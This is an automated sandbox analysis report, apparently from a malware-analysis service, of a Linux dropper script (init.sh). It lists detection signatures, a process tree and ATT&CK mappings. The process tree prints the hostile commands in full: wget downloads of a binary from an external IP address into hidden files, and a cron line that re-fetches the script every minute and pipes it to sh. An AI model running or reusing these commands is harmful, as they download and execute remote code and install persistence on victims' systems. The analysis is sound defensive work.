Analysis
- max time kernel
147s - max time network
150s - platform
debian-9_armhf - resource
debian9-armhf-20260513-en - resource tags
- submitted
20/06/2026, 06:18
General
- Target init.sh
- Size 12KB
- Sample260620-g2pydaey91
- SHA256 bb5ec0fa428ab921e6f2b7439647deeb26f5376575fa90a4f1ef825c4fcab2cb
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 3 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 2 IoCs
- Executes dropped EXE 2 IoCs
- Modifies Watchdog functionality 1 TTPs 4 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
- Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Reads MAC address of network interface 2 TTPs 2 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
- UPX packed file 1 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Changes its process name 2 IoCs
- Checks CPU configuration 1 TTPs 2 IoCs
Checks CPU information which indicate if the system is a virtual machine.
- Reads CPU attributes 1 TTPs 2 IoCs
- Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
- Enumerates kernel/hardware configuration 1 TTPs 4 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- Writes file to shm directory 1 IoCs
Malware can drop malicious files in the shm directory which will run directly from RAM.
- Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/init.sh/tmp/init.sh1⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/usr/bin/awkawk -F/ "{print \$3}"2⤵
-
-
/usr/bin/cutcut -d: -f12⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /tmp/.d2⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod +x /tmp/.d2⤵
- File and Directory Permissions Modification
-
-
/bin/sleepsleep 22⤵
-
-
/tmp/.d/tmp/.d2⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
-
/bin/shsh -c "/bin/systemctl daemon-reload 2>/dev/null"3⤵
-
/bin/systemctl/bin/systemctl daemon-reload4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"3⤵
-
/bin/systemctl/bin/systemctl enable --now redis-sentinel.service4⤵
- Enumerates kernel/hardware configuration
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"3⤵
-
/usr/bin/crontab/usr/bin/crontab -l4⤵
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 693 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"3⤵
-
/usr/bin/crontab/usr/bin/crontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/usr/bin/pkillpkill -f /tmp/.d2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/rmrm -f /tmp/.d2⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /var/run/.d2⤵
-
-
/bin/chmodchmod +x /var/run/.d2⤵
- File and Directory Permissions Modification
-
-
/bin/sleepsleep 22⤵
-
-
/var/run/.d/var/run/.d2⤵
-
-
/usr/bin/pkillpkill -f /var/run/.d2⤵
- Reads CPU attributes
- Reads runtime system information
-
-
/bin/rmrm -f /var/run/.d2⤵
-
-
/usr/bin/wgetwget -q --no-check-certificate http://91.239.211.89/bins/kworkerd-blkcg -O /dev/shm/.d2⤵
- Writes file to shm directory
-
-
/bin/chmodchmod +x /dev/shm/.d2⤵
- File and Directory Permissions Modification
-
-
/bin/sleepsleep 22⤵
-
-
/dev/shm/.d/dev/shm/.d2⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"3⤵
-
/usr/bin/crontab/usr/bin/crontab -l4⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 788 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"3⤵
-
/usr/bin/crontab/usr/bin/crontab -4⤵
- Creates/modifies Cron job
-
-
-
-
/bin/rmrm -f /tmp/init.sh2⤵
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
.d
tmp.fFcMqD
tmp.viN9du